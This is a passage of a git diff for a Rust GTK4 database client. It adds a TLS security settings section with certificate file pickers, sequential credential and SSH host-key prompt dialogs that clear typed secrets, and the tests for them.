None, + }, + ..Options::default() + }); + fill_network(&harness.dialog); + let section = harness.dialog.imp().ssh_section.get(); + + section.enable(); + assert!( + !harness.dialog.imp().connect_button.is_sensitive(), + "an empty SSH host passed" + ); + section.set_host("prod-bastion"); + + assert!(harness.dialog.imp().connect_button.is_sensitive()); + let RequestTarget::Network { ssh, .. } = harness + .dialog + .form() + .validate(caps_of("postgres")) + .expect("valid") + .target + else { + panic!("expected a network target"); + }; + let ssh = ssh.expect("the tunnel is on"); + assert_eq!(ssh.destination.host(), "prod-bastion"); + assert_eq!(ssh.destination.port(), None); + assert_eq!(ssh.destination.user(), None); +} + +#[gtk4::test] +fn every_row_has_an_accessible_name() { + let harness = dialog(); + let imp = harness.dialog.imp(); + let tls = imp.tls_section.imp(); + let rows: Vec = vec![ + imp.driver_row.get().upcast(), + imp.host_row.get().upcast(), + imp.port_row.get().upcast(), + imp.database_row.get().upcast(), + imp.file_row.get().upcast(), + imp.auth_mode_row.get().upcast(), + imp.username_row.get().upcast(), + imp.password_row.get().upcast(), + imp.remember_row.get().upcast(), + imp.read_only_row.get().upcast(), + tls.encryption_row.get().upcast(), + tls.certificates_row.get().upcast(), + tls.ca_row.get().upcast(), + tls.certificate_row.get().upcast(), + tls.key_row.get().upcast(), + tls.server_name_row.get().upcast(), + ]; + let rows = rows.into_iter().chain(imp.ssh_section.rows()); + for row in rows { + assert_labelled(&row).unwrap_or_else(|problem| panic!("{problem:?}")); + } + + for button in [ + tls.ca_clear_button.get(), + tls.certificate_clear_button.get(), + tls.key_clear_button.get(), + tls.ca_choose_button.get(), + ] { + assert!( + gtk4::test_accessible_has_property(&button, AccessibleProperty::Label), + "{:?} has no accessible name", + button.tooltip_text() + ); + } +} diff --git a/linux/crates/app/src/ui/connect_dialog/tls_section.rs b/linux/crates/app/src/ui/connect_dialog/tls_section.rs new file mode 100644 index 0000000000..411d430c43 --- /dev/null +++ b/linux/crates/app/src/ui/connect_dialog/tls_section.rs @@ -0,0 +1,412 @@ +use std::path::PathBuf; + +use gtk4::glib; +use gtk4::prelude::*; +use gtk4::subclass::prelude::*; +use libadwaita as adw; +use libadwaita::prelude::*; +use tablepro_core::{ConfigError, TlsCapabilities, TlsConfig, TlsMode, TransportClass}; + +use super::connect_form::{TlsFormState, default_tls_mode, shows_server_name, tls_field}; +use super::form_errors::FormErrors; +use super::form_field::FormField; +use super::row_problem::show_problem; + +/// Which certificate file a row holds. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +enum CertificateSlot { + Ca, + Certificate, + Key, +} + +mod imp { + use std::cell::{Cell, RefCell}; + use std::sync::OnceLock; + + use glib::subclass::Signal; + use libadwaita::subclass::prelude::*; + + use super::*; + + #[derive(Default, gtk4::CompositeTemplate)] + #[template(resource = "/app/tablepro/TablePro/ui/tls-section.ui")] + pub struct TlsSection { + #[template_child] + pub encryption_row: TemplateChild, + #[template_child] + pub encryption_modes: TemplateChild, + #[template_child] + pub certificates_row: TemplateChild, + #[template_child] + pub ca_row: TemplateChild, + #[template_child] + pub ca_choose_button: TemplateChild, + #[template_child] + pub ca_clear_button: TemplateChild, + #[template_child] + pub certificate_row: TemplateChild, + #[template_child] + pub certificate_choose_button: TemplateChild, + #[template_child] + pub certificate_clear_button: TemplateChild, + #[template_child] + pub key_row: TemplateChild, + #[template_child] + pub key_choose_button: TemplateChild, + #[template_child] + pub key_clear_button: TemplateChild, + #[template_child] + pub server_name_row: TemplateChild, + pub modes: RefCell>, + pub capabilities: Cell>, + pub route: Cell>, + pub ca_file: RefCell>, + pub client_certificate: RefCell>, + pub client_key: RefCell>, + /// Set while the code writes the rows, so its own writes are not + /// reported as the user changing them. + pub updating: Cell, + } + + #[glib::object_subclass] + impl ObjectSubclass for TlsSection { + const NAME: &'static str = "TableProTlsSection"; + type Type = super::TlsSection; + type ParentType = adw::PreferencesGroup; + + fn class_init(klass: &mut Self::Class) { + klass.bind_template(); + } + + fn instance_init(object: &glib::subclass::InitializingObject) { + object.init_template(); + } + } + + impl ObjectImpl for TlsSection { + fn signals() -> &'static [Signal] { + static SIGNALS: OnceLock> = OnceLock::new(); + SIGNALS.get_or_init(|| vec![Signal::builder("changed").build()]) + } + + fn constructed(&self) { + self.parent_constructed(); + let section = self.obj(); + for button in [ + &self.ca_clear_button, + &self.certificate_clear_button, + &self.key_clear_button, + ] { + button.set_icon_name(crate::ui::icons::EDIT_CLEAR); + } + + let weak = section.downgrade(); + self.encryption_row.connect_selected_notify(move |_| { + if let Some(section) = weak.upgrade() + && !section.imp().updating.get() + { + section.refresh_rows(); + section.emit_changed(); + } + }); + let weak = section.downgrade(); + self.server_name_row.connect_changed(move |_| { + if let Some(section) = weak.upgrade() + && !section.imp().updating.get() + { + section.emit_changed(); + } + }); + let slots = [ + (CertificateSlot::Ca, &self.ca_choose_button, &self.ca_clear_button), + ( + CertificateSlot::Certificate, + &self.certificate_choose_button, + &self.certificate_clear_button, + ), + (CertificateSlot::Key, &self.key_choose_button, &self.key_clear_button), + ]; + for (slot, choose, clear) in slots { + let weak = section.downgrade(); + choose.connect_clicked(move |_| { + if let Some(section) = weak.upgrade() { + glib::spawn_future_local(async move { section.choose(slot).await }); + } + }); + let weak = section.downgrade(); + clear.connect_clicked(move |_| { + if let Some(section) = weak.upgrade() { + section.set_file(slot, None); + } + }); + } + } + } + + impl WidgetImpl for TlsSection {} + impl PreferencesGroupImpl for TlsSection {} +} + +glib::wrapper! { + /// The Security group: encryption mode, certificate files and the + /// name the certificate is checked against. + pub struct TlsSection(ObjectSubclass) + @extends adw::PreferencesGroup, gtk4::Widget, + @implements gtk4::Accessible, gtk4::Buildable, gtk4::ConstraintTarget; +} + +impl Default for TlsSection { + fn default() -> Self { + glib::Object::new() + } +} + +impl TlsSection { + /// Show the modes and rows this driver offers, filled from `state`. + /// A driver without TLS hides the whole group. + pub fn apply(&self, caps: Option<&TlsCapabilities>, route: TransportClass, state: &TlsFormState) { + let imp = self.imp(); + imp.capabilities.set(caps.copied()); + imp.route.set(Some(route)); + let Some(caps) = caps else { + self.set_visible(false); + return; + }; + self.set_visible(true); + imp.updating.set(true); + let labels: Vec = caps.modes.iter().map(|mode| mode_label(*mode)).collect(); + let labels: Vec<&str> = labels.iter().map(String::as_str).collect(); + imp.encryption_modes.splice(0, imp.encryption_modes.n_items(), &labels); + imp.modes.replace(caps.modes.to_vec()); + let mode = if caps.modes.contains(&state.mode) { + state.mode + } else { + default_tls_mode(Some(caps)) + }; + let index = caps.modes.iter().position(|candidate| *candidate == mode).unwrap_or(0); + imp.encryption_row.set_selected(index as u32); + imp.ca_file.replace(state.ca_file.clone()); + imp.client_certificate.replace(state.client_certificate.clone()); + imp.client_key.replace(state.client_key.clone()); + imp.server_name_row.set_text(&state.server_name); + imp.updating.set(false); + self.refresh_rows(); + } + + /// The route decides whether the server name can be overridden. + pub fn set_route(&self, route: TransportClass) { + self.imp().route.set(Some(route)); + self.refresh_rows(); + } + + pub fn form_state(&self) -> TlsFormState { + let imp = self.imp(); + TlsFormState { + mode: self.mode(), + ca_file: imp.ca_file.borrow().clone(), + client_certificate: imp.client_certificate.borrow().clone(), + client_key: imp.client_key.borrow().clone(), + server_name: imp.server_name_row.text().to_string(), + } + } + + /// Paint each row the form or the file check found a problem in. + /// A file row says what is wrong with the file in its subtitle. + pub fn show_problems(&self, errors: &FormErrors, files: Option<&ConfigError>) { + let imp = self.imp(); + let file_problem = files.map(|error| { + let state = self.form_state(); + let caps = imp.capabilities.get(); + let route = imp.route.get().unwrap_or(TransportClass::DirectTcp); + let config = caps + .map(|caps| state.config(&caps, route)) + .unwrap_or_else(TlsConfig::disabled); + (tls_field(error, &config), crate::ui::error_text::config_message(error)) + }); + let problem = |field: FormField| -> Option { + match &file_problem { + Some((problem_field, message)) if *problem_field == field => Some(message.clone()), + _ => errors.shown_on(field).map(|problem| problem.message.clone()), + } + }; + show_problem(&*imp.encryption_row, problem(FormField::Encryption).as_deref()); + show_problem(&*imp.server_name_row, problem(FormField::ServerName).as_deref()); + for (slot, field) in [ + (CertificateSlot::Ca, FormField::CaFile), + (CertificateSlot::Certificate, FormField::ClientCertificate), + (CertificateSlot::Key, FormField::ClientKey), + ] { + let message = problem(field); + let row = self.row(slot); + show_problem(&row, message.as_deref()); + let subtitle = message.unwrap_or_else(|| self.file_subtitle(slot)); + row.set_subtitle(&subtitle); + } + } + + /// Open the certificate rows and put the focus on `field`, for a + /// toast button that names the setting that fixes a failure. + pub fn reveal(&self, field: FormField) { + let imp = self.imp(); + if self.mode() == TlsMode::Disable { + return; + } + imp.certificates_row.set_expanded(true); + let target: gtk4::Widget = match field { + FormField::CaFile => imp.ca_choose_button.get().upcast(), + FormField::ClientCertificate => imp.certificate_choose_button.get().upcast(), + FormField::ClientKey => imp.key_choose_button.get().upcast(), + FormField::ServerName => imp.server_name_row.get().upcast(), + _ => imp.encryption_row.get().upcast(), + }; + target.grab_focus(); + } + + pub fn connect_changed(&self, f: F) -> glib::SignalHandlerId { + self.connect_closure( + "changed", + false, + glib::closure_local!(move |section: &Self| { + f(section); + }), + ) + } + + /// Put a certificate file in a row, as the file chooser does. + pub fn set_file_path(&self, field: FormField, path: Option) { + let slot = match field { + FormField::ClientCertificate => CertificateSlot::Certificate, + FormField::ClientKey => CertificateSlot::Key, + _ => CertificateSlot::Ca, + }; + self.set_file(slot, path); + } + + fn mode(&self) -> TlsMode { + let imp = self.imp(); + let selected = imp.encryption_row.selected() as usize; + imp.modes.borrow().get(selected).copied().unwrap_or(TlsMode::Disable) + } + + fn emit_changed(&self) { + self.emit_by_name::<()>("changed", &[]); + } + + fn set_file(&self, slot: CertificateSlot, path: Option) { + self.slot(slot).replace(path); + self.refresh_rows(); + self.emit_changed(); + } + + fn slot(&self, slot: CertificateSlot) -> &std::cell::RefCell> { + let imp = self.imp(); + match slot { + CertificateSlot::Ca => &imp.ca_file, + CertificateSlot::Certificate => &imp.client_certificate, + CertificateSlot::Key => &imp.client_key, + } + } + + fn row(&self, slot: CertificateSlot) -> adw::ActionRow { + let imp = self.imp(); + match slot { + CertificateSlot::Ca => imp.ca_row.get(), + CertificateSlot::Certificate => imp.certificate_row.get(), + CertificateSlot::Key => imp.key_row.get(), + } + } + + fn clear_button(&self, slot: CertificateSlot) -> gtk4::Button { + let imp = self.imp(); + match slot { + CertificateSlot::Ca => imp.ca_clear_button.get(), + CertificateSlot::Certificate => imp.certificate_clear_button.get(), + CertificateSlot::Key => imp.key_clear_button.get(), + } + } + + fn file_subtitle(&self, slot: CertificateSlot) -> String { + match self.slot(slot).borrow().as_deref() { + Some(path) => path.display().to_string(), + None if slot == CertificateSlot::Ca => crate::i18n::gettext("The system's certificate authorities"), + None => crate::i18n::gettext("None"), + } + } + + fn refresh_rows(&self) { + let imp = self.imp(); + let Some(caps) = imp.capabilities.get() else { + return; + }; + let mode = self.mode(); + imp.encryption_row.set_subtitle(&mode_description(mode)); + imp.certificates_row.set_visible(mode != TlsMode::Disable); + imp.ca_row.set_visible(caps.ca_file); + imp.certificate_row.set_visible(caps.client_identity); + imp.key_row.set_visible(caps.client_identity); + let route = imp.route.get().unwrap_or(TransportClass::DirectTcp); + imp.server_name_row.set_visible(shows_server_name(&caps, route)); + for slot in [CertificateSlot::Ca, CertificateSlot::Certificate, CertificateSlot::Key] { + let chosen = self.slot(slot).borrow().is_some(); + self.clear_button(slot).set_visible(chosen); + if !self.row(slot).has_css_class("error") { + self.row(slot).set_subtitle(&self.file_subtitle(slot)); + } + } + } + + async fn choose(&self, slot: CertificateSlot) { + let title = match slot { + CertificateSlot::Ca => crate::i18n::gettext("Choose CA Certificate"), + CertificateSlot::Certificate => crate::i18n::gettext("Choose Client Certificate"), + CertificateSlot::Key => crate::i18n::gettext("Choose Client Key"), + }; + let dialog = pem_dialog(&title); + let parent = self.root().and_downcast::(); + let chosen = dialog.open_future(parent.as_ref()).await; + if let Some(path) = chosen.ok().and_then(|file| file.path()) { + self.set_file(slot, Some(path)); + } + } +} + +pub fn mode_label(mode: TlsMode) -> String { + match mode { + TlsMode::Disable => crate::i18n::gettext("Disable"), + TlsMode::Require => crate::i18n::gettext("Require"), + TlsMode::VerifyFull => crate::i18n::gettext("Verify full"), + } +} + +/// What each mode protects against, so the choice is an informed one. +pub fn mode_description(mode: TlsMode) -> String { + match mode { + TlsMode::Disable => crate::i18n::gettext("Not encrypted. Anyone on the network can read the traffic."), + TlsMode::Require => crate::i18n::gettext("Encrypted. The server certificate is not checked."), + TlsMode::VerifyFull => crate::i18n::gettext("Encrypted. The certificate must be valid for the server name."), + } +} + +fn pem_dialog(title: &str) -> gtk4::FileDialog { + let pem = gtk4::FileFilter::new(); + pem.set_name(Some(&crate::i18n::gettext("PEM certificates and keys"))); + for mime in ["application/x-pem-file", "application/x-x509-ca-cert"] { + pem.add_mime_type(mime); + } + for suffix in ["pem", "crt", "cer", "key"] { + pem.add_suffix(suffix); + } + let any = gtk4::FileFilter::new(); + any.set_name(Some(&crate::i18n::gettext("All files"))); + any.add_pattern("*"); + let filters = gio::ListStore::new::(); + filters.append(&pem); + filters.append(&any); + gtk4::FileDialog::builder() + .title(title) + .modal(true) + .filters(&filters) + .default_filter(&pem) + .build() +} diff --git a/linux/crates/app/src/ui/connection_list.rs b/linux/crates/app/src/ui/connection_list.rs index c3a67fa11d..453ddd3dba 100644 --- a/linux/crates/app/src/ui/connection_list.rs +++ b/linux/crates/app/src/ui/connection_list.rs @@ -136,7 +136,7 @@ mod tests { port: 5432, database: "app".to_owned(), username: "postgres".to_owned(), - use_tls: true, + tls: tablepro_core::TlsConfig::verify_full(), read_only: false, auth_mode: tablepro_core::AuthMode::Password, ssh: None, diff --git a/linux/crates/app/src/ui/connection_row.rs b/linux/crates/app/src/ui/connection_row.rs index 6373a74dcd..b8f4cff36a 100644 --- a/linux/crates/app/src/ui/connection_row.rs +++ b/linux/crates/app/src/ui/connection_row.rs @@ -370,7 +370,7 @@ mod tests { port: 1433, database: "sales".into(), username: username.into(), - use_tls: true, + tls: tablepro_core::TlsConfig::verify_full(), read_only: false, auth_mode, ssh: None, diff --git a/linux/crates/app/src/ui/credential_prompt/mod.rs b/linux/crates/app/src/ui/credential_prompt/mod.rs new file mode 100644 index 0000000000..652e0ef6dd --- /dev/null +++ b/linux/crates/app/src/ui/credential_prompt/mod.rs @@ -0,0 +1,15 @@ +//! Asking the user for what the keyring or the SSH configuration could +//! not supply: a password, a key passphrase, a server's own questions, +//! or whether to trust a host key seen for the first time. +//! +//! The prompter is called from connect work on the runtime; the dialogs +//! live on the GTK thread. A queue joins the two, and the presenter +//! shows one prompt at a time so two connects never stack dialogs. + +mod presenter; +mod prompt_form; +mod prompt_text; +mod prompter; + +pub use presenter::CredentialPromptPresenter; +pub use prompter::{GtkCredentialPrompter, PromptQueue}; diff --git a/linux/crates/app/src/ui/credential_prompt/presenter.rs b/linux/crates/app/src/ui/credential_prompt/presenter.rs new file mode 100644 index 0000000000..8b7b99e739 --- /dev/null +++ b/linux/crates/app/src/ui/credential_prompt/presenter.rs @@ -0,0 +1,166 @@ +use std::cell::RefCell; +use std::rc::Rc; + +use adw::prelude::*; +use libadwaita as adw; +use tablepro_core::credentials::PromptReply; +use tokio::sync::oneshot; + +use super::prompt_form::{CANCEL, PromptForm}; +use super::prompter::{PendingPrompt, PromptQueue}; + +/// Shows queued credential prompts over a window, one at a time. +/// +/// Sequential on purpose: two connects asking at once would otherwise +/// stack two password dialogs with nothing saying which is which. +#[derive(Debug)] +pub struct CredentialPromptPresenter; + +impl CredentialPromptPresenter { + /// Drain `queue` over `parent` until the returned handle is aborted + /// or the window goes. Aborting drops the queue, which cancels the + /// prompt being shown and every one still waiting. + pub fn start(mut queue: PromptQueue, parent: &impl IsA) -> glib::JoinHandle<()> { + let parent = parent.upcast_ref::().downgrade(); + glib::spawn_future_local(async move { + while let Some(pending) = queue.next().await { + let PendingPrompt { prompt, reply } = pending; + if reply.is_closed() { + continue; + } + let answer = match parent.upgrade() { + Some(parent) => { + let form = PromptForm::build(&prompt); + let response = ask(&form.dialog, &parent).await; + form.reply(&response) + } + None => PromptReply::Cancelled, + }; + // The connect may have been cancelled while the dialog + // was up; nobody is waiting then, which is fine. + let _ = reply.send(answer); + } + }) + } +} + +/// Present the dialog and wait for the response it closes with. +/// +/// The closed signal answers too, as a cancel: a dialog torn down with +/// its window never sends a response, and the prompt must still end. +/// `choose_future` is not used because its callback aborts the process +/// when the dialog goes away without one. +async fn ask(dialog: &adw::AlertDialog, parent: >k4::Widget) -> String { + let (sender, receiver) = oneshot::channel(); + let sender = Rc::new(RefCell::new(Some(sender))); + let on_response = sender.clone(); + dialog.connect_response(None, move |_, response| { + if let Some(sender) = on_response.borrow_mut().take() { + let _ = sender.send(response.to_owned()); + } + }); + dialog.connect_closed(move |_| { + if let Some(sender) = sender.borrow_mut().take() { + let _ = sender.send(CANCEL.to_owned()); + } + }); + dialog.present(Some(parent)); + receiver.await.unwrap_or_else(|_| CANCEL.to_owned()) +} + +#[cfg(test)] +mod tests { + use std::time::Duration; + + use tablepro_core::credentials::{CredentialPrompt, CredentialPrompter, PromptField, PromptPurpose, PromptReason}; + + use super::*; + use crate::ui::credential_prompt::GtkCredentialPrompter; + + fn prompt(target: &str) -> CredentialPrompt { + CredentialPrompt { + purpose: PromptPurpose::DatabasePassword { + reason: PromptReason::NotStored, + }, + target: target.to_owned(), + fields: vec![PromptField { + label: "Password".to_owned(), + secret: true, + }], + offer_remember: true, + } + } + + fn open_alerts(window: &adw::Window) -> Vec { + window + .dialogs() + .iter::() + .filter_map(|item| item.ok()?.downcast::().ok()) + .collect() + } + + #[gtk4::test] + fn prompts_are_presented_sequentially() { + adw::init().expect("libadwaita initialises under the test backend"); + let window = adw::Window::new(); + window.present(); + let (prompter, queue) = GtkCredentialPrompter::new(); + let presenter = CredentialPromptPresenter::start(queue, &window); + let answered = std::rc::Rc::new(std::cell::Cell::new(0)); + for target in ["first", "second"] { + let asking = prompter.prompt(prompt(target)); + let answered = answered.clone(); + glib::spawn_future_local(async move { + asking.await; + answered.set(answered.get() + 1); + }); + } + + crate::test_support::wait_until(Duration::from_secs(5), || open_alerts(&window).len() == 1) + .expect("the first prompt"); + crate::test_support::drain_main_context(); + let shown = open_alerts(&window); + assert_eq!(shown.len(), 1, "the second prompt did not wait for the first"); + assert!(shown[0].body().contains("first")); + shown[0].close(); + + crate::test_support::wait_until(Duration::from_secs(5), || { + open_alerts(&window).iter().any(|alert| alert.body().contains("second")) + }) + .expect("the second prompt after the first closed"); + for alert in open_alerts(&window) { + alert.close(); + } + crate::test_support::wait_until(Duration::from_secs(5), || answered.get() == 2).expect("both prompts answered"); + presenter.abort(); + window.close(); + crate::test_support::drain_main_context(); + } + + #[gtk4::test] + fn a_prompt_whose_dialog_is_forced_shut_is_cancelled() { + adw::init().expect("libadwaita initialises under the test backend"); + let window = adw::Window::new(); + window.present(); + let (prompter, queue) = GtkCredentialPrompter::new(); + let presenter = CredentialPromptPresenter::start(queue, &window); + let reply = std::rc::Rc::new(std::cell::RefCell::new(None)); + let asking = prompter.prompt(prompt("forced")); + let sink = reply.clone(); + glib::spawn_future_local(async move { + *sink.borrow_mut() = Some(asking.await); + }); + + crate::test_support::wait_until(Duration::from_secs(5), || open_alerts(&window).len() == 1) + .expect("the prompt"); + for alert in open_alerts(&window) { + alert.force_close(); + } + crate::test_support::wait_until(Duration::from_secs(5), || reply.borrow().is_some()).expect("an answer"); + + assert!(matches!(reply.borrow_mut().take(), Some(PromptReply::Cancelled))); + presenter.abort(); + window.close(); + crate::test_support::drain_main_context(); + } +} diff --git a/linux/crates/app/src/ui/credential_prompt/prompt_form.rs b/linux/crates/app/src/ui/credential_prompt/prompt_form.rs new file mode 100644 index 0000000000..4d160acf32 --- /dev/null +++ b/linux/crates/app/src/ui/credential_prompt/prompt_form.rs @@ -0,0 +1,239 @@ +use adw::prelude::*; +use libadwaita as adw; +use secrecy::SecretString; +use tablepro_core::credentials::{CredentialPrompt, PromptField, PromptReply}; + +use super::prompt_text::PromptText; + +pub(super) const CANCEL: &str = "cancel"; +pub(super) const ACCEPT: &str = "accept"; + +/// One answer the prompt asks for. A secret field never shows what is +/// typed; an echo field is a server question whose answer is not secret. +#[derive(Debug, Clone)] +pub(super) enum FieldRow { + Secret(adw::PasswordEntryRow), + Echo(adw::EntryRow), +} + +impl FieldRow { + fn build(field: &PromptField) -> Self { + let title = field_title(&field.label); + if field.secret { + Self::Secret( + adw::PasswordEntryRow::builder() + .title(title) + .activates_default(true) + .build(), + ) + } else { + Self::Echo(adw::EntryRow::builder().title(title).activates_default(true).build()) + } + } + + fn widget(&self) -> >k4::Widget { + match self { + Self::Secret(row) => row.upcast_ref(), + Self::Echo(row) => row.upcast_ref(), + } + } + + /// Hand the typed text over and clear the row, so the answer lives + /// in a zeroizing secret and nowhere in the widget tree. + fn take(&self) -> SecretString { + let editable: >k4::Editable = match self { + Self::Secret(row) => row.upcast_ref(), + Self::Echo(row) => row.upcast_ref(), + }; + let secret = SecretString::from(editable.text().as_str().to_owned()); + editable.set_text(""); + secret + } +} + +/// The dialog for one prompt, with the rows its answer is read from. +#[derive(Debug, Clone)] +pub(super) struct PromptForm { + pub dialog: adw::AlertDialog, + pub rows: Vec, + pub remember: Option, +} + +impl PromptForm { + pub fn build(prompt: &CredentialPrompt) -> Self { + let text = PromptText::for_prompt(prompt); + let dialog = adw::AlertDialog::new(Some(&text.heading), Some(&text.body)); + dialog.add_response(CANCEL, &crate::i18n::gettext("Cancel")); + dialog.add_response(ACCEPT, &text.accept); + dialog.set_response_appearance(ACCEPT, adw::ResponseAppearance::Suggested); + dialog.set_default_response(Some(ACCEPT)); + dialog.set_close_response(CANCEL); + + let rows: Vec = prompt.fields.iter().map(FieldRow::build).collect(); + let remember = prompt.offer_remember.then(|| { + adw::SwitchRow::builder() + .title(text.remember.as_str()) + .active(false) + .build() + }); + if !rows.is_empty() || remember.is_some() { + let group = adw::PreferencesGroup::new(); + for row in &rows { + group.add(row.widget()); + } + if let Some(remember) = &remember { + group.add(remember); + } + dialog.set_extra_child(Some(&group)); + } + Self { dialog, rows, remember } + } + + /// The reply for the response the dialog closed with. Anything but + /// the accept button, including Escape, is a cancel. + pub fn reply(&self, response: &str) -> PromptReply { + let values: Vec = self.rows.iter().map(FieldRow::take).collect(); + if response != ACCEPT { + return PromptReply::Cancelled; + } + PromptReply::Submitted { + values, + remember: self.remember.as_ref().is_some_and(adw::SwitchRow::is_active), + } + } +} + +/// The storage and SSH crates name their fields in English; the two +/// they use are translated here, and a server's own question is shown +/// as the server wrote it. +fn field_title(label: &str) -> String { + match label { + "Password" => crate::i18n::gettext("Password"), + "Passphrase" => crate::i18n::gettext("Passphrase"), + other => other.to_owned(), + } +} + +#[cfg(test)] +mod tests { + use secrecy::ExposeSecret; + use tablepro_core::credentials::{PromptPurpose, PromptReason}; + + use super::*; + + fn password_prompt(offer_remember: bool) -> CredentialPrompt { + CredentialPrompt { + purpose: PromptPurpose::DatabasePassword { + reason: PromptReason::NotStored, + }, + target: "app@db.example.com:5432/shop".to_owned(), + fields: vec![PromptField { + label: "Password".to_owned(), + secret: true, + }], + offer_remember, + } + } + + #[gtk4::test] + fn presenter_builds_rows_per_field_and_remember_switch() { + adw::init().expect("libadwaita initialises under the test backend"); + + let form = PromptForm::build(&password_prompt(true)); + + assert_eq!(form.rows.len(), 1); + assert!(matches!(form.rows[0], FieldRow::Secret(_))); + assert!(form.remember.is_some(), "a remember switch was not offered"); + assert!(form.dialog.extra_child().is_some()); + assert_eq!(form.dialog.default_response().as_deref(), Some(ACCEPT)); + + let without = PromptForm::build(&password_prompt(false)); + assert!(without.remember.is_none(), "remember was offered where it cannot work"); + } + + #[gtk4::test] + fn keyboard_interactive_echo_field_is_entry_row() { + adw::init().expect("libadwaita initialises under the test backend"); + let prompt = CredentialPrompt { + purpose: PromptPurpose::SshKeyboardInteractive { + name: String::new(), + instructions: String::new(), + }, + target: "bastion".to_owned(), + fields: vec![ + PromptField { + label: "Username:".to_owned(), + secret: false, + }, + PromptField { + label: "Verification code:".to_owned(), + secret: true, + }, + ], + offer_remember: false, + }; + + let form = PromptForm::build(&prompt); + + assert!(matches!(form.rows[0], FieldRow::Echo(_))); + assert!(matches!(form.rows[1], FieldRow::Secret(_))); + } + + #[gtk4::test] + fn accepting_hands_over_the_typed_secret_and_clears_the_row() { + adw::init().expect("libadwaita initialises under the test backend"); + let form = PromptForm::build(&password_prompt(true)); + let FieldRow::Secret(row) = &form.rows[0] else { + panic!("expected a secret row"); + }; + row.set_text("hunter2"); + if let Some(remember) = &form.remember { + remember.set_active(true); + } + + let PromptReply::Submitted { values, remember } = form.reply(ACCEPT) else { + panic!("expected a submitted reply"); + }; + + assert_eq!(values[0].expose_secret(), "hunter2"); + assert!(remember); + assert_eq!(row.text(), "", "the secret stayed in the widget"); + } + + #[gtk4::test] + fn closing_dialog_replies_cancelled() { + adw::init().expect("libadwaita initialises under the test backend"); + let form = PromptForm::build(&password_prompt(true)); + let FieldRow::Secret(row) = &form.rows[0] else { + panic!("expected a secret row"); + }; + row.set_text("hunter2"); + + assert!(matches!(form.reply(CANCEL), PromptReply::Cancelled)); + assert_eq!(row.text(), "", "a cancelled secret stayed in the widget"); + } + + #[gtk4::test] + fn a_host_key_prompt_has_no_rows_and_accepts_with_no_values() { + adw::init().expect("libadwaita initialises under the test backend"); + let prompt = CredentialPrompt { + purpose: PromptPurpose::SshHostKeyConfirmation { + host: "bastion.example.com".to_owned(), + algorithm: "ED25519".to_owned(), + fingerprint: "SHA256:abc".to_owned(), + }, + target: "bastion.example.com".to_owned(), + fields: Vec::new(), + offer_remember: false, + }; + + let form = PromptForm::build(&prompt); + + assert!(form.dialog.extra_child().is_none()); + let PromptReply::Submitted { values, remember } = form.reply(ACCEPT) else { + panic!("expected a submitted reply"); + }; + assert!(values.is_empty()); + assert!(!remember); + } +} diff --git a/linux/crates/app/src/ui/credential_prompt/prompt_text.rs b/linux/crates/app/src/ui/credential_prompt/prompt_text.rs new file mode 100644 index 0000000000..60d9866b76 --- /dev/null +++ b/linux/crates/app/src/ui/credential_prompt/prompt_text.rs @@ -0,0 +1,192 @@ +use tablepro_core::credentials::{CredentialPrompt, PromptPurpose, PromptReason}; + +/// What a prompt dialog says, worked out before any widget exists. +#[derive(Debug, Clone, PartialEq, Eq)] +pub(super) struct PromptText { + pub heading: String, + pub body: String, + /// The label of the button that answers the prompt. + pub accept: String, + pub remember: String, +} + +impl PromptText { + pub fn for_prompt(prompt: &CredentialPrompt) -> Self { + let target = prompt.target.as_str(); + let (heading, body, accept) = match &prompt.purpose { + PromptPurpose::DatabasePassword { reason } => ( + crate::i18n::gettext("Password Required"), + with_reason( + crate::i18n::gettext_f("Enter the database password for {target}.", &[("target", target)]), + reason, + ), + crate::i18n::gettext("Connect"), + ), + PromptPurpose::SshPassword { reason } => ( + crate::i18n::gettext("Password Required"), + with_reason( + crate::i18n::gettext_f("Enter the SSH password for {target}.", &[("target", target)]), + reason, + ), + crate::i18n::gettext("Connect"), + ), + PromptPurpose::SshPassphrase { path, reason } => ( + crate::i18n::gettext("Passphrase Required"), + with_reason( + crate::i18n::gettext_f( + "Enter the passphrase for the SSH key {path}.", + &[("path", &path.display().to_string())], + ), + reason, + ), + crate::i18n::gettext("Connect"), + ), + PromptPurpose::SshKeyboardInteractive { name, instructions } => { + let heading = match name.trim() { + "" => crate::i18n::gettext("Authentication Required"), + name => name.to_owned(), + }; + let body = match instructions.trim() { + "" => crate::i18n::gettext_f("The SSH server {target} asks for more.", &[("target", target)]), + instructions => instructions.to_owned(), + }; + (heading, body, crate::i18n::gettext("Continue")) + } + PromptPurpose::SshHostKeyConfirmation { + host, + algorithm, + fingerprint, + } => ( + crate::i18n::gettext_f("Trust {host}?", &[("host", host)]), + crate::i18n::gettext_f( + "This is the first connection to {host}. Its {algorithm} key fingerprint is {fingerprint}. Connect only if it matches the fingerprint the server's administrator gave you.", + &[("host", host), ("algorithm", algorithm), ("fingerprint", fingerprint)], + ), + crate::i18n::gettext("Trust and Connect"), + ), + PromptPurpose::SshConfirmation { text } => ( + crate::i18n::gettext("Authentication Required"), + text.clone(), + crate::i18n::gettext("Continue"), + ), + }; + let remember = match prompt.purpose { + PromptPurpose::SshPassphrase { .. } => crate::i18n::gettext("Remember Passphrase"), + _ => crate::i18n::gettext("Remember Password"), + }; + Self { + heading, + body, + accept, + remember, + } + } +} + +/// Why the user is being asked, which tells them whether something is +/// wrong with the keyring or with what they typed before. +fn with_reason(request: String, reason: &PromptReason) -> String { + let because = match reason { + PromptReason::NotStored => crate::i18n::gettext("No password is saved for this connection."), + PromptReason::KeyringLocked => { + crate::i18n::gettext("The keyring is locked, so the saved one could not be read.") + } + PromptReason::KeyringUnavailable { .. } => { + crate::i18n::gettext("No keyring is available, so it cannot be read or saved.") + } + PromptReason::Rejected => crate::i18n::gettext("The server refused the one it was given."), + }; + format!("{because} {request}") +} + +#[cfg(test)] +mod tests { + use std::path::PathBuf; + + use tablepro_core::credentials::PromptField; + + use super::*; + + fn prompt(purpose: PromptPurpose) -> CredentialPrompt { + CredentialPrompt { + purpose, + target: "app@db.example.com:5432/shop".to_owned(), + fields: vec![PromptField { + label: "Password".to_owned(), + secret: true, + }], + offer_remember: true, + } + } + + #[test] + fn a_password_prompt_names_its_target_and_its_reason() { + let text = PromptText::for_prompt(&prompt(PromptPurpose::DatabasePassword { + reason: PromptReason::Rejected, + })); + + assert_eq!(text.heading, "Password Required"); + assert!(text.body.contains("app@db.example.com:5432/shop"), "{}", text.body); + assert!(text.body.contains("refused"), "{}", text.body); + } + + #[test] + fn each_reason_reads_differently() { 